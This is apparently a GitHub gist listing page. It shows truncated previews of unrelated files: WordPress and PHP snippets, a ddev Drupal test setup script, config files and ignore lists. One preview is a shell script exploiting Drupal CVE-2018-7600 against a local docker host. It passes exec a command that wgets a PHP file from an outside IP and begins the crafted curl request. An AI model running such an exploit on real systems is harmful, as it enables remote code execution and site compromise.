This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function wpse147453_remove_child_categories_from_permalinks( $permalink, $post, $leavename, $sample ) { | |
if ( in_array( $post->post_type, array( 'focus_courses' ) ) ) { | |
// Allow for slug to be editable | |
$slug = $leavename ? '%' . $post->post_type . '%' : $post->post_name; | |
// Generate premalink prefix based on post type | |
$prefix = 'courses'; | |
// add parent term slug | |
$term_slug = focus_top_term( $post ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# https://github.com/a2u/CVE-2018-7600/issues/2 | |
HOST="http://drupal.docker.localhost:8000" | |
PHP_FUNCTION="exec" | |
PHP_ARG="wget http://172.16.30.108:6969/foob.php" | |
curl -X POST \ | |
"$HOST/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" \ | |
-F form_id=user_register_form \ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# This script runs inside the ddev web container and sets up Drupal 8 testing. | |
# It assumes a regular Drupal 8 checkout, with the docroot in the project root. | |
# It can be added to the config.yaml as a step to automatically happen on start | |
# - Run this manually with "ddev exec ./d8test_setup.sh" | |
# - Run this in the container (after "ddev ssh) by just running "./d8test_setup.sh" | |
# - Run it automatically run on start by adding it to the project's config.yaml: | |
#hooks: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Check the sidebar or sidebars for a shortcode | |
* | |
* @param mixed array|string|int $index sidebar id, name, or an array of sidebar names | |
* @param string $shortcode the shortcode to check for | |
* @return bool true if the sidebar contents contains the shortcode, false otherwise | |
*/ | |
function if_sidebar_has_shorcode( $index, $shortcode ) { | |
// get all the sidebars widgets |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"require": { | |
"php": ">=5.3.0", | |
"composer/installers": "v1.0.12", | |
"webdevstudios/cmb2": "dev-master", | |
}, | |
"autoload": { | |
"files": ["vendor/cmb2/init.php"] | |
}, | |
"extra": { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$data_dir = 'c:/server/www/dev/data/'; | |
$releases = [ ]; | |
foreach ( range( 3.2, 4.0, 0.1 ) as $version ) { | |
$version = number_format( $version, 1 ); | |
$data = json_decode( file_get_contents( $data_dir . $version . '.json' ), true ); | |
$groups = wp_list_pluck( $data['groups'], 'data' ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module.exports = function(grunt) { | |
require('load-grunt-tasks')(grunt); | |
// Project configuration. | |
grunt.initConfig({ | |
pkg: grunt.file.readJSON('package.json'), | |
makepot: { | |
target: { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Gmail { | |
private $mail; | |
private $email; | |
private $pass; | |
public function __construct($email, $pass){ | |
$this->email = $email; | |
$this->pass = $pass; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Ignore backup files | |
*~ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
**/*.min.js | |
**/*.build.js | |
**/node_modules/** | |
**/vendor/** | |
build | |
coverage | |
cypress | |
node_modules | |
vendor |
OlderNewer